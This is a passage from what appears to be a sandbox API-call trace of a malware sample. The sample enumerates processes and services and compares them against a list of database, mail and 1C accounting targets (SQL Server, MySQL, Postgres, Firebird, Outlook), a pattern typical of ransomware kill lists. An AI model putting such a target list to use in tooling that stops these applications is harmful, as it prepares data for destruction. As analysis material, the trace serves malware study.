hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.786] lstrlenW (lpString="taskhost.exe") returned 12 [0238.786] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0238.787] lstrlenW (lpString="reader_sl.exe") returned 13 [0238.787] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0238.788] CloseHandle (hObject=0x3ac) returned 1 [0238.788] Sleep (dwMilliseconds=0x1f4) [0239.600] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4a0 [0239.624] EnumServicesStatusExW (in: hSCManager=0x62e4a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0239.703] GetLastError () returned 0xea [0239.703] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xdea) returned 0x42a0060 [0239.703] EnumServicesStatusExW (in: hSCManager=0x62e4a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xdea, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0240.163] CloseServiceHandle (hSCObject=0x62e4a0) returned 1 [0240.167] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0240.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.167] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0240.167] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0240.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0240.168] lstrlenW (lpString="AudioSrv") returned 8 [0240.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0240.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0240.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0240.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0240.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0240.168] lstrlenW (lpString="BFE") returned 3 [0240.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0240.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0240.168] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0240.168] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0240.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0240.168] lstrlenW (lpString="CryptSvc") returned 8 [0240.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0240.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0240.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0240.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0240.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0240.169] lstrlenW (lpString="CscService") returned 10 [0240.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0240.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0240.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0240.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0240.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0240.169] lstrlenW (lpString="DcomLaunch") returned 10 [0240.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0240.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0240.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0240.170] lstrlenW (lpString="Dhcp") returned 4 [0240.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0240.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0240.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0240.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0240.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0240.170] lstrlenW (lpString="Dnscache") returned 8 [0240.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0240.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0240.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0240.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0240.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0240.171] lstrlenW (lpString="DPS") returned 3 [0240.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0240.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0240.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0240.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0240.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0240.173] lstrlenW (lpString="eventlog") returned 8 [0240.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0240.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0240.173] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0240.173] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0240.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0240.173] lstrlenW (lpString="EventSystem") returned 11 [0240.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0240.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0240.173] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0240.174] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0240.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0240.174] lstrlenW (lpString="gpsvc") returned 5 [0240.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0240.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0240.174] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0240.174] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0240.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0240.174] lstrlenW (lpString="LanmanWorkstation") returned 17 [0240.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0240.175] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0240.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0240.175] lstrlenW (lpString="lmhosts") returned 7 [0240.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0240.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0240.175] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0240.175] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0240.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0240.175] lstrlenW (lpString="MMCSS") returned 5 [0240.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0240.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0240.175] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0240.175] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0240.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0240.176] lstrlenW (lpString="MpsSvc") returned 6 [0240.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0240.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0240.176] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0240.176] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0240.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0240.176] lstrlenW (lpString="NlaSvc") returned 6 [0240.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0240.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0240.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0240.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0240.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0240.176] lstrlenW (lpString="nsi") returned 3 [0240.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0240.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0240.177] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0240.177] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0240.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0240.177] lstrlenW (lpString="PcaSvc") returned 6 [0240.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0240.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0240.177] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0240.177] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0240.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0240.177] lstrlenW (lpString="PlugPlay") returned 8 [0240.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0240.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0240.178] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0240.178] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0240.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0240.178] lstrlenW (lpString="Power") returned 5 [0240.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0240.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0240.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0240.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0240.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0240.178] lstrlenW (lpString="ProfSvc") returned 7 [0240.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0240.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0240.179] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0240.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0240.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0240.179] lstrlenW (lpString="RpcEptMapper") returned 12 [0240.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.179] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0240.179] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0240.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0240.179] lstrlenW (lpString="RpcSs") returned 5 [0240.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0240.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0240.180] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0240.180] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0240.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0240.180] lstrlenW (lpString="SamSs") returned 5 [0240.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0240.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0240.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0240.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0240.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0240.180] lstrlenW (lpString="Schedule") returned 8 [0240.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0240.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0240.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0240.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0240.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0240.181] lstrlenW (lpString="SENS") returned 4 [0240.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0240.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0240.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0240.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0240.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0240.181] lstrlenW (lpString="ShellHWDetection") returned 16 [0240.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.182] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0240.182] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0240.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0240.182] lstrlenW (lpString="Spooler") returned 7 [0240.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0240.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0240.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0240.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0240.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0240.182] lstrlenW (lpString="SysMain") returned 7 [0240.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0240.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0240.183] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0240.183] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0240.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0240.183] lstrlenW (lpString="Themes") returned 6 [0240.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0240.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0240.183] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0240.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0240.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0240.183] lstrlenW (lpString="TrkWks") returned 6 [0240.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0240.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0240.184] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0240.184] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0240.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0240.184] lstrlenW (lpString="UxSms") returned 5 [0240.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0240.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0240.184] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0240.184] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0240.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0240.184] lstrlenW (lpString="Winmgmt") returned 7 [0240.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0240.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0240.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0240.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0240.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0240.185] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0240.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0240.198] Process32FirstW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.199] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.200] lstrlenW (lpString="System") returned 6 [0240.200] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0240.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0240.200] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0240.200] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0240.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0240.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0240.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0240.200] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.201] lstrlenW (lpString="smss.exe") returned 8 [0240.201] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0240.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0240.201] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0240.202] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0240.202] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0240.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0240.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0240.202] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.204] lstrlenW (lpString="csrss.exe") returned 9 [0240.204] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0240.204] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0240.204] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0240.204] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0240.204] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0240.204] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0240.204] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0240.204] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.205] lstrlenW (lpString="wininit.exe") returned 11 [0240.205] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0240.205] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0240.205] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0240.205] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0240.205] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0240.206] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0240.206] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0240.206] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.206] lstrlenW (lpString="csrss.exe") returned 9 [0240.207] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0240.207] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0240.207] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0240.207] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0240.207] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0240.207] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0240.207] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0240.207] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.208] lstrlenW (lpString="winlogon.exe") returned 12 [0240.208] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0240.208] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0240.208] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0240.208] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0240.208] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0240.208] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0240.208] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0240.209] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.209] lstrlenW (lpString="services.exe") returned 12 [0240.210] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0240.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0240.210] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0240.210] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0240.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0240.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0240.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0240.210] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.211] lstrlenW (lpString="lsass.exe") returned 9 [0240.211] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0240.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0240.211] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0240.211] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0240.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0240.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0240.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0240.211] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0240.212] lstrlenW (lpString="lsm.exe") returned 7 [0240.212] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0240.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0240.213] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 